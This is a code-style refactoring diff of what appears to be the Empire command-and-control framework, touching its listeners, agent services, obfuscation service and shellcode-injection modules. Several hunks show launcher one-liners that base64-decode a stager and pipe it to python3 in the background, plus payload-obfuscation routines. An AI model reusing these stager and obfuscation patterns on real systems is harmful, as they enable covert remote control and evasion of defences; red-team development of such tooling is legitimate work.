@@ -778,10 +767,9 @@ def generate_stageless(self, options): if options["Language"]["Value"] == "powershell": launch_code = f"\nInvoke-Empire -Servers @('{host}') -StagingKey '{staging_key}' -SessionKey '{session_key}' -SessionID '{session_id}' -WorkingHours '{working_hours}' -KillDate '{kill_date}';" - full_agent = comms_code + "\n" + agent_code + "\n" + launch_code - return full_agent + return comms_code + "\n" + agent_code + "\n" + launch_code - elif options["Language"]["Value"] in ["python", "ironpython"]: + if options["Language"]["Value"] in ["python", "ironpython"]: stager_code = stager_code.replace( "return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))", f"return b'{session_id}'", @@ -797,6 +785,7 @@ def generate_stageless(self, options): else: full_agent = "\n".join([agent_code, stager_code, launch_code]) return full_agent + return None def replace_execute_function(code, session_key): diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 9ec468667..5cb2ad63f 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -38,9 +38,7 @@ def get_all( if not include_stale: query = query.filter(models.Agent.stale == False) # noqa: E712 - agents = query.all() - - return agents + return query.all() @staticmethod def get_by_id(db: Session, uid: str): diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index abb2d89f7..4e2ac6e00 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -145,7 +145,7 @@ def get_temporary_tasks_for_agent(self, agent_id: str, clear: bool = True): return tasks - def create_task_shell( # noqa: PLR0913 + def create_task_shell( self, db: Session, agent: models.Agent, @@ -157,7 +157,7 @@ def create_task_shell( # noqa: PLR0913 command = f"shell {command}" return self.add_task(db, agent, "TASK_SHELL", command, user_id=user_id) - def create_task_upload( # noqa: PLR0913 + def create_task_upload( self, db: Session, agent: models.Agent, file_data: str, directory: str, user_id ): data = f"{directory}|{file_data}" @@ -252,7 +252,7 @@ def create_task_update_comms( db, agent, "TASK_SWITCH_LISTENER", new_comms, user_id=user_id ) - def create_task_update_sleep( # noqa: PLR0913 + def create_task_update_sleep( self, db: Session, agent: models.Agent, delay: int, jitter: float, user_id: int ): agent.delay = delay @@ -265,7 +265,7 @@ def create_task_update_sleep( # noqa: PLR0913 f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) - elif agent.language in ["python", "ironpython"]: + if agent.language in ["python", "ironpython"]: return self.add_task( db, agent, @@ -273,7 +273,7 @@ def create_task_update_sleep( # noqa: PLR0913 f"global delay; global jitter; delay={delay}; jitter={jitter}; print('delay/jitter set to {delay}/{jitter}')", user_id=user_id, ) - elif agent.language == "csharp": + if agent.language == "csharp": return self.add_task( db, agent, @@ -281,8 +281,8 @@ def create_task_update_sleep( # noqa: PLR0913 f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) - else: - return None, "Unsupported language." + + return None, "Unsupported language." def create_task_update_kill_date( self, db: Session, agent: models.Agent, kill_date: str, user_id: int diff --git a/empire/server/core/db/defaults.py b/empire/server/core/db/defaults.py index c0c385767..ded263f53 100644 --- a/empire/server/core/db/defaults.py +++ b/empire/server/core/db/defaults.py @@ -89,13 +89,13 @@ def get_staging_key(): ) if choice not in ("", "RANDOM"): return hashlib.md5(choice.encode("utf-8")).hexdigest() + return None - elif staging_key == "RANDOM": + if staging_key == "RANDOM": log.info("Generating random staging key") return "".join( random.sample(string.ascii_letters + string.digits + punctuation, 32) ) - else: - log.info("Using configured staging key: {staging_key}") - return staging_key + log.info("Using configured staging key: {staging_key}") + return staging_key diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index e521ee1c6..33f151cc6 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -264,12 +264,12 @@ def _stale_expression(cls): func.julianday(utcnow()) - func.julianday(cls.lastseen_time) ) * 86400.0 return seconds_elapsed > threshold - else: - diff = func.timestampdiff( - text("SECOND"), cls.lastseen_time, func.utc_timestamp() - ) - threshold = 30 + cls.delay + cls.delay * cls.jitter - return diff > threshold + + diff = func.timestampdiff( + text("SECOND"), cls.lastseen_time, func.utc_timestamp() + ) + threshold = 30 + cls.delay + cls.delay * cls.jitter + return diff > threshold def __repr__(self): return f"" diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 222dbfbd0..66b48f6cd 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -115,7 +115,7 @@ def get_all( # noqa: PLR0913 PLR0912 return results, total - def create_download_from_text( # noqa: PLR0913 + def create_download_from_text( self, db: Session, user: models.User, diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 30e5cc79b..b274e8abb 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -121,7 +121,7 @@ def run_filters(self, event: str, *args): The output of each filter is passed into the next filter. """ if event not in self.filters: - return + return None for filter in self.filters.get(event, {}).values(): if not isinstance(args, tuple): args = (args,) diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index b3d18a4cb..89999ffa0 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -64,6 +64,7 @@ def get_active_listener_by_name(self, name: str): for listener in self._active_listeners.values(): if listener.options["Name"]["Value"] == name: return listener + return None def update_listener(self, db: Session, db_listener: models.Listener, listener_req): if listener_req.name != db_listener.name: @@ -142,8 +143,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener): self._active_listeners[listener.id] = template_instance log.info(f'Listener "{listener.name}" successfully started') return listener, None - else: - return None, f'Listener "{listener.name}" failed to start' + return None, f'Listener "{listener.name}" failed to start' def start_existing_listeners(self): with SessionLocal.begin() as db: @@ -162,31 +162,31 @@ def _start_listener(self, db: Session, template_instance, template_name): log.info(f"v2: Starting listener '{name}'") success = template_instance.start() - if success: - listener_options = copy.deepcopy(template_instance.options) + if not success: + msg = f"Failed to start listener '{name}'" + log.error(msg) + return None, msg - # in a breaking change we could just store a str,str dict for the options. - # we don't add the listener to the db unless it successfully starts. Makes it a problem when trying - # to split this out. - db_listener = models.Listener( - name=name, - module=template_name, - listener_category=category, - enabled=True, - options=listener_options, - ) + listener_options = copy.deepcopy(template_instance.options) + + # in a breaking change we could just store a str,str dict for the options. + # we don't add the listener to the db unless it successfully starts. Makes it a problem when trying + # to split this out. + db_listener = models.Listener( + name=name, + module=template_name, + listener_category=category, + enabled=True, + options=listener_options, + ) - db.add(db_listener) - db.flush() + db.add(db_listener) + db.flush() - log.info(f'Listener "{name}" successfully started') - self._active_listeners[db_listener.id] = template_instance + log.info(f'Listener "{name}" successfully started') + self._active_listeners[db_listener.id] = template_instance - return db_listener, None - else: - msg = f"Failed to start listener '{name}'" - log.error(msg) - return None, msg + return db_listener, None except Exception as e: msg = f"Failed to start listener '{name}': {e}" diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index bbff4e819..f30d6ccce 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -306,7 +306,7 @@ def _validate_module_params( # noqa: PLR0913 return options, None - def _generate_script( + def _generate_script( # noqa: PLR0911 self, db: Session, module: EmpireModule, @@ -361,6 +361,7 @@ def _generate_script( db, LanguageEnum.csharp ) return self._generate_script_bof(module, params, obfuscation_config) + return None def _generate_script_bof( self, @@ -480,15 +481,13 @@ def _generate_script_powershell( ) # obfuscate the invoke command and append to script - script = self.finalize_module( + return self.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscate_command, ) - return script - def _generate_script_csharp( self, module: EmpireModule, @@ -686,23 +685,21 @@ def get_module_source( return obfuscated_module_code, None # If pre-obfuscated module does not exist then generate obfuscated code and return it - else: - module_source = empire_config.directories.module_source - module_path = os.path.join(module_source, module_name) - with open(module_path) as f: - module_code = f.read() - obfuscated_module_code = self.obfuscation_service.obfuscate( - module_code, obfuscate_command - ) - return obfuscated_module_code, None - - # Use regular/unobfuscated code - else: module_source = empire_config.directories.module_source module_path = os.path.join(module_source, module_name) with open(module_path) as f: module_code = f.read() - return module_code, None + obfuscated_module_code = self.obfuscation_service.obfuscate( + module_code, obfuscate_command + ) + return obfuscated_module_code, None + + # Use regular/unobfuscated code + module_source = empire_config.directories.module_source + module_path = os.path.join(module_source, module_name) + with open(module_path) as f: + module_code = f.read() + return module_code, None except Exception: return None, f"[!] Could not read module source path at: {module_source}" @@ -723,8 +720,7 @@ def finalize_module( script += script_end if obfuscate: script = self.obfuscation_service.obfuscate(script, obfuscation_command) - script = self.obfuscation_service.obfuscate_keywords(script) - return script + return self.obfuscation_service.obfuscate_keywords(script) @staticmethod def slugify(module_name: str): @@ -770,13 +766,11 @@ def wrapper(*args, **kwargs): obfuscate = args[3] obfuscation_command = args[4] - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script - return wrapper diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 532e5c65a..fd1053ce5 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -109,6 +109,7 @@ def preobfuscate_modules(self, language: str, reobfuscate=False): f"{os.path.basename(file)} was already obfuscated. Not reobfuscating." ) self.obfuscate_module(file, db_obf_config.command, reobfuscate) + return None # this is still written in a way that its only used for PowerShell # to make it work for other languages, we probably want to just pass in the db_obf_config @@ -117,7 +118,7 @@ def obfuscate_module( self, module_source, obfuscation_command="", force_reobfuscation=False ): if self._is_obfuscated(module_source) and not force_reobfuscation: - return + return None try: with open(module_source) as f: @@ -176,9 +177,7 @@ def obfuscate(self, ps_script, obfuscation_command): # Obfuscation writes a newline character to the end of the file, ignoring that character obfuscatedFile.seek(0) - ps_script = obfuscatedFile.read()[0:-1] - - return ps_script + return obfuscatedFile.read()[0:-1] def remove_preobfuscated_modules(self, language: str): """ @@ -250,8 +249,4 @@ def python_obfuscate(self, module_source): Obfuscate Python scripts using python-obfuscator """ obfuscator = python_obfuscator.obfuscator() - obfuscated_code = obfuscator.obfuscate( - module_source, [one_liner, variable_renamer] - ) - - return obfuscated_code + return obfuscator.obfuscate(module_source, [one_liner, variable_renamer]) diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 72b4cdb76..0b2e22f4b 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -365,10 +365,10 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase + return None def generate_stager( self, @@ -491,6 +491,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -591,6 +592,7 @@ def generate_agent( log.error( "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -626,8 +628,7 @@ def generate_comms(self, listenerOptions, language=None): "results_folder": resultsFolder, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -643,15 +644,16 @@ def generate_comms(self, listenerOptions, language=None): "results_folder": resultsFolder, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/dbx generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ @@ -811,7 +813,7 @@ def delete_file(dbx, path): f"{listenerName}: Error uploading stager to '{stagingFolder}/stager'" ) self.instance_log.error(message, exc_info=True) - return + return None while True: time.sleep(int(pollInterval)) diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 7834f2d3c..17d460d8b 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -481,8 +481,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" else: return launcherBase @@ -514,16 +513,17 @@ def generate_launcher( self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) + return None else: - file_name = compiler.do_send_stager( + return compiler.do_send_stager( stager_yaml, "Sharpire", confuse=obfuscate ) - return file_name else: self.instance_log.error( f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_stager( self, @@ -656,6 +656,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -740,12 +741,12 @@ def generate_agent( return code elif language == "csharp": # currently the agent is stagless so do nothing - code = "" - return code + return "" else: log.error( "listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -770,8 +771,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -786,15 +786,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/http generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ @@ -848,7 +849,7 @@ def send_stager(stager, hop=None): obfuscation_command = obfuscation_config.command if stager == "powershell": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="powershell", encode=False, @@ -858,10 +859,9 @@ def send_stager(stager, hop=None): proxy=proxy, proxyCreds=proxyCreds, ) - return launcher elif stager == "python": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="python", encode=False, @@ -871,7 +871,6 @@ def send_stager(stager, hop=None): proxy=proxy, proxyCreds=proxyCreds, ) - return launcher elif stager == "ironpython": if hop: @@ -896,8 +895,7 @@ def send_stager(stager, hop=None): launcher, dot_net_version="net40", obfuscate=obfuscation ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif stager == "csharp": filename = self.mainMenu.stagers.generate_launcher( @@ -911,8 +909,7 @@ def send_stager(stager, hop=None): ) directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/net35/{filename}.exe" with open(directory, "rb") as f: - code = f.read() - return code + return f.read() else: return make_response(self.default_response(), 404) @@ -926,6 +923,7 @@ def check_ip(): message = f"{listenerName}: {request.remote_addr} on the blacklist/not on the whitelist requested resource" self.instance_log.info(message) return make_response(self.default_response(), 404) + return None @app.after_request def change_header(response): @@ -1095,6 +1093,7 @@ def handle_get(request_uri): message = f"{listenerName}: Results are None for {request_uri} from {clientIP}" self.instance_log.debug(message) return make_response(self.default_response(), 200) + return None else: return make_response(self.default_response(), 200) @@ -1219,6 +1218,7 @@ def handle_post(request_uri): return make_response(results, 200) else: return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 1f0cdcddd..8f4a4da7a 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -323,6 +323,7 @@ def generate_launcher( log.error( "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) + return None def generate_stager( self, @@ -423,6 +424,7 @@ def generate_stager( log.error( "listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ) + return None def generate_agent( self, @@ -481,6 +483,7 @@ def generate_agent( log.error( "listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -506,15 +509,16 @@ def generate_comms(self, listenerOptions, language=None): "request_headers": requestHeader, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None else: log.error("listeners/http_com generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ @@ -552,14 +556,13 @@ def send_stager(stager): obfuscation_command = obfuscation_config.command if stager == "powershell": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=listenerName, language="powershell", encode=False, obfuscate=obfuscation, obfuscation_command=obfuscation_command, ) - return launcher else: return make_response(self.default_response(), 404) @@ -576,6 +579,7 @@ def check_ip(): log.debug(message) return make_response(self.default_response(), 404) + return None @app.after_request def change_header(response): @@ -716,6 +720,7 @@ def handle_get(request_uri): f"{listenerName}: Results are None..." ) return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) @@ -809,6 +814,7 @@ def handle_post(request_uri): return make_response(base64.b64encode(results), 200) else: return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 7a57e183d..d611da3e9 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -374,8 +374,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -383,6 +382,7 @@ def generate_launcher( log.error( "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -433,8 +433,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -449,15 +448,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/http_foreign generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index abd61d03f..525cc5be6 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -323,8 +323,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" else: return launcherBase @@ -332,6 +331,7 @@ def generate_launcher( log.error( "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -478,6 +478,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, listenerOptions, language=None, obfuscate=False, obfuscation_command="" @@ -512,8 +513,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -528,15 +528,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/http_hop generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 19f4aad8e..f2e936c3a 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -568,8 +568,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -577,6 +576,7 @@ def generate_launcher( log.error( "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." ) + return None def generate_stager( self, @@ -821,6 +821,7 @@ def generate_agent( log.error( "listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -1353,8 +1354,10 @@ def send_staging_for_child(self, received_data, hop_name): log.error( "listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/template generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 4f7db1cf0..02432f1b4 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -294,6 +294,7 @@ def generate_launcher( "listeners/onedrive generate_launcher(): Python agent not implemented yet" ) return "Python not implemented yet" + return None def generate_stager( self, @@ -372,6 +373,7 @@ def generate_stager( else: log.error("Python agent not available for Onedrive") + return None def generate_comms( self, @@ -407,15 +409,16 @@ def generate_comms( "taskings_folder": taskings_folder, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None else: log.error("listeners/onedrive generate_comms(): no language specified!") + return None def generate_agent( self, @@ -431,7 +434,7 @@ def generate_agent( if not language: log.error("listeners/onedrive generate_agent(): No language specified") - return + return None language = language.lower() delay = listener_options["DefaultDelay"]["Value"] @@ -473,6 +476,7 @@ def generate_agent( agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code) return agent_code + return None def start_server(self, listenerOptions): self.instance_log = log_util.get_listener_logger( diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index e87accbd2..7ad8e5083 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -349,8 +349,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -381,16 +380,17 @@ def generate_launcher( self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) + return None else: - file_name = compiler.do_send_stager( + return compiler.do_send_stager( stager_yaml, "Sharpire", confuse=obfuscate ) - return file_name else: log.error( "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -518,6 +518,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -614,12 +615,12 @@ def generate_agent( return code elif language == "csharp": # currently the agent is stageless so do nothing - code = "" - return code + return "" else: log.error( "listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -645,8 +646,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -661,15 +661,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/http generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index e1b2bfbfc..44ca61485 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -217,14 +217,15 @@ def generate_launcher( launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") ).decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase else: log.error( "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None + return None def generate_stager( self, @@ -263,6 +264,7 @@ def generate_stager( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language.lower() == "python": template_path = [ @@ -306,6 +308,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -336,6 +339,7 @@ def generate_agent( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language == "python": with open( @@ -368,6 +372,7 @@ def generate_agent( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -387,6 +392,7 @@ def generate_comms(self, listenerOptions, language=None): log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language.lower() == "python": template_path = [ @@ -401,15 +407,16 @@ def generate_comms(self, listenerOptions, language=None): "pipe_name": pipe_name, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None else: log.error("generate_comms(): no language specified!") + return None def start(self): """ @@ -427,7 +434,7 @@ def start(self): ) if not agent: - return + return None self.mainMenu.agenttasksv2.create_task_smb( db, agent, name + "|" + self.options["PipeName"]["Value"] diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 52df2060e..f5ec07e02 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -216,6 +216,7 @@ def generate_launcher( "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) ) + return None def generate_stager( self, @@ -293,18 +294,21 @@ def generate_comms(self, listenerOptions, language=None): elif language.lower() == "python": # send_message() pass + return None else: print( helpers.color( "[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) ) + return None else: print( helpers.color( "[!] listeners/template generate_comms(): no language specified!" ) ) + return None def start_server(self): pass diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index 279d7ad41..8fc09d233 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -94,10 +94,9 @@ def generate( script_end += "\r\n" script_end += code_exec - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 6fb27e121..e5a233524 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -59,10 +59,9 @@ def generate( elif values and values != "": script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index fc2c7cb14..a5c597e70 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -42,10 +42,9 @@ def generate( script_end += "; 'Shellcode injected.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index 17fdd94da..d00783561 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -35,10 +35,9 @@ def generate( sc = ",0".join(values.split("\\"))[1:] script_end += " -" + str(option) + " @(" + sc + ")" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py index 4b8bda46e..97ec02041 100644 --- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py +++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py @@ -67,10 +67,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py index 71b443060..d21ccfbef 100644 --- a/empire/server/modules/powershell/collection/packet_capture.py +++ b/empire/server/modules/powershell/collection/packet_capture.py @@ -28,10 +28,9 @@ 